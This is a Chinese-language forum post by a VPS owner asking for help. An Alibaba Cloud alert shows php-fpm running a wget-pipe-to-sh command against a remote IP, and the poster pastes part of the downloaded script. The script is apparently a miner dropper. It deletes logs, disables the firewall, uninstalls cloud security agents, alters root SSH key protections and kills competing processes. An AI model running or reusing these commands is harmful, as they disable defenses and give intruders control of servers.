便宜国外vps论坛_安装阿里云盾 总是报恶意脚本执行

该告警由如下引擎检测发现说：
命令行说：sh -c wget -q -O – 93.189.43.3/t.sh|sh
进程PID说：7187
进程文件名说：bash
父进程ID说：7186
父进程文件路径说：/usr/local/php-7.4/sbin/php-fpm
事件说明说：云安全中心检测到您的主机正在执行恶意的脚本代码(包括但不限于bash、powershell、python)，请立刻排查入侵来源。如果是您的运维行为，请选择忽略。

都是指向一个脚本的，麻烦大家给看一下这个脚本是干啥 是敌是友
脚本部分如下
#!/bin/sh
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
echo “nope” >/tmp/log_rot
sudo sysctl kernel.nmi_watchdog=0
echo ‘0’ >/proc/sys/kernel/nmi_watchdog
echo ‘kernel.nmi_watchdog=0’ >>/etc/sysctl.conf
userdel akay
userdel vfinder
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
if ps aux | grep -i ‘[a]liyun’; then
  curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i ‘[y]unjing’; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
netstat -anp | grep 185.71.65.238 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | xargs -I % kill -9 %
netstat -anp | grep 140.82.52.87 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | xargs -I % kill -9 %
netstat -anp | grep :443 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :23 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :443 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :143 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :3333 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :3389 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :4444 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :5555 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :6666 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :6665 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :6667 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :7777 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :8444 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :3347 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :14444 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :14433 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %
netstat -anp | grep :13531 | awk ‘{print $7}’ | awk -F'[/]’ ‘{print $1}’ | grep -v “-” | xargs -I % kill -9 %